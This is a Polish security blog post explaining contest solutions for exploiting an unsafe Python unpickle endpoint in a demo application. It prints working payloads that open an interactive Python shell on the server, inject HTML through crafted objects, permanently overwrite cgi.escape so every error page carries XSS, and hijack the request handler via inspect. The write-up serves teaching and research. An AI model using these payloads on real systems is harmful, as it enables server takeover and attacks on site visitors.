Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book

Rozwiązanie konkursu unpickle

05 lipca 2014, 22:50 | Teksty | 0 komentarzy

Kilka dni temu w artykule o unpickle ogłosiliśmy konkurs, polegający na wykorzystaniu omawianej podatności w celu uzyskania XSS-a. Jeszcze tego samego dnia przyszło do nas pięć rozwiązań (ale najszybszy był Adam Dobrawy). W rozwiązaniach zastosowano trzy różne podejścia do problemu; w tej notce przedstawię ja wraz z krótkim opisem.

Zanim jednak do tego przejdę, najpierw pokażę małą sztuczkę, przydatną do znalezienia odpowiedniej metody wykorzystania podatności. Jak wiadomo, Python dysponuje interaktywną konsolą, w której polecenia wpisywane przez użytkownika są natychmiast wykonywane. Konsola może być też wywołana z poziomu skryptu pythonowego – metodą code.interact(). Zatem ciało funkcji malicious() jest następujące:

def malicious():
  import code
  code.interact()

Wówczas, gdy wkleimy kod wynikowy do aplikacji, uzyskamy na serwerze dostęp do pythonowego shella w kontekście naszej aplikacji.

Konsola Pythona na serwerze

Konsola Pythona na serwerze

Jeśli używacie IPythona, można przejść również do niego:

def malicious():
  import IPython
  IPython.embed()

 

IPython na serwerze

IPython na serwerze

IPython to alternatywna konsola interaktywna do Pythona, wzbogacona m.in. o przystępniejsze formatowanie wyjścia, łatwiejszy dostęp do pomocy, uzupełnianie atrybutów TAB-em, makra i wiele innych. Strona projektu przedstawia kilka podstawowych funkcji.

1. Utworzenie własnego obiektu z atrybutami year, monthday

Trzy rozwiązania wykorzystywały lukę w 39. linii kodu przykładowej aplikacji:

      output = TEMPLATE.format(date.year, date.month, date.day, date_encoded)

Aplikacja wstawia elementy date.year, date.month oraz date.day do szablonu, nie chroniąc się w żaden sposób przed XSS-em (zakłada, że będą one liczbami). Można zatem utworzyć dowolny obiekt z tymi atrybutami i wykonamy XSS-a. W każdym z rozwiązań użyto innego sposobu, by to osiągnąć.

def malicious():
  # sposob 1. NamedTuple
  from collections import namedtuple
  obj = namedtuple('obj', ['year', 'month', 'day'])
  # sposob 2. dynamiczny sposob tworzenia klas
  obj = type('obj', (object,), dict(year=None, month=None, day=None))
  # sposob 3. utworzenie klasy starego typu
  class A:
    pass
  obj = A()
  obj.year = '<h1>XSS here</h1>'
  obj.month = 0
  obj.day = 1
  return obj

Jak widać, w takim rozwiązaniu panowała dość duża dowolność w osiągnięciu celu. Wynik wykonywania:

XSS - metoda 1

XSS – metoda 1

2. Przeładowanie cgi.escape

Rozwiązanie zwycięskie – całkiem ciekawe, bo trwale psujące serwer w taki sposób, że każdy, kto trafi na jakąkolwiek stronę błędu zostanie XSS-owany. Spójrzmy na funkcję wyświetlającą błędy na serwerze:

  def output_error(self, msg):
    self.wfile.write('<p><strong style="color: red;">{}</strong></p>'.format(cgi.escape(msg)))

Funkcja cgi.escape() służy do ochrony przed XSS-ami (odpowiednik htmlentities() z PHP). Widzimy, że funkcja jest wywoływana za każdym razem, gdy wyświetlany jest błąd – możemy więc funkcję przeładować i zmienić jej zachowanie.

def malicious():
  import sys
  sys.modules['cgi'].escape = lambda x: "<h1>XSS here</h1>"

Przez obiekt sys.modules możemy uzyskać dostęp do wszystkich zaimportowanych modułów w danej aplikacji. Bierzemy więc moduł cgi i zmieniamy działanie funkcji escape(). Zapis lambda x: „<h1>XSS here</h1>” jest równoważny:

def __anon(x):
  return "<h1>XSS here</h1>"

Wynik wykonania:

XSS - metoda 2

XSS – metoda 2

Jako że działanie cgi.escape() zostaje trwale zmienione, od tej pory każde wyświetlenie komunikatu o błędzie powoduje wykonanie XSS-a. (dzieje się tak testowym serwerze; efekt wcale nie musiałby być trwały na prawdziwych serwerach rozrzuconych w chmurach/farmach korzystających z jakichś form wielowątkowości).

3. Uzyskanie dostępu do obiektu klasy MyHandler

Ten sposób został również użyty na moim zrzucie ekranowym w oryginalnym artykule. Jak było widać w kodzie aplikacji, wyświetlanie tekstu na stronie jest obsługiwane przez klasę MyHandler, poprzez odwołania do atrybutu wfile instancji tego obiektu, na którym z kolei wykonywano metodę write().

class MyHandler(BaseHTTPRequestHandler):
  def output_error(self, msg):
    self.wfile.write('<p><strong style="color: red;">{}</strong></p>'.format(cgi.escape(msg)))

Zatem w chwili, gdy wykonujemy nasz kod poprzez unpickling, gdzieś w pamięci musi żyć obiekt tej klasy. Trzeba tylko znaleźć sposób na jego znalezienie.

Posłużymy się modułem inspect, który, jak podaje dokumentacja, służy do wyciągania informacji o żywych obiektach. W szczególności, metoda inspect.stack() zwraca pełny stos prowadzący do aktualnego miejsca w kodzie w postaci listy krotek, gdzie każda krotka składa się z sześciu elementów:

  1. Referencja do ramki stosu,
  2. Nazwa pliku,
  3. Numer linii kodu,
  4. Nazwa funkcji,
  5. Kontekst kodu,
  6. Indeks aktualnie wykonywanej linii w kontekście kodu.

Punkty 5. i 6. mogą brzmieć mało klarownie, ale i tak nie są nam potrzebne ;) Nas interesuje nazwa funkcji oraz referencja do ramki stosu. Jak pamiętamy, złośliwy kod w serwerze był wywoływany z funkcji do_GET() (tam były deserializowane dane). Poszukamy zatem w stosie wywołań funkcji „do_GET” i odwołamy się do jej ramki stosu. Z tej ramki stosu wyciągniemy z kolei zmienne lokalne (atrybut f_locals), co umożliwi uzyskanie referencji do obiektu self. Mając to wszystko za sobą, wystarczy już wywołać self.wfile.write() i możemy pisać na wyjściu cokolwiek chcemy ;)

def malicious():
  import inspect
  for (frame, filename, lineno, func_name, context, contextno) in inspect.stack():
    if func_name == 'do_GET':
      self = frame.f_locals['self']
      self.wfile.write('Hey! I can write whatever <u>I want</u>!')
      return

I wynik wykonania:

XSS - metoda 3

XSS – metoda 3

Michał Bentkowski

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

Odpowiedz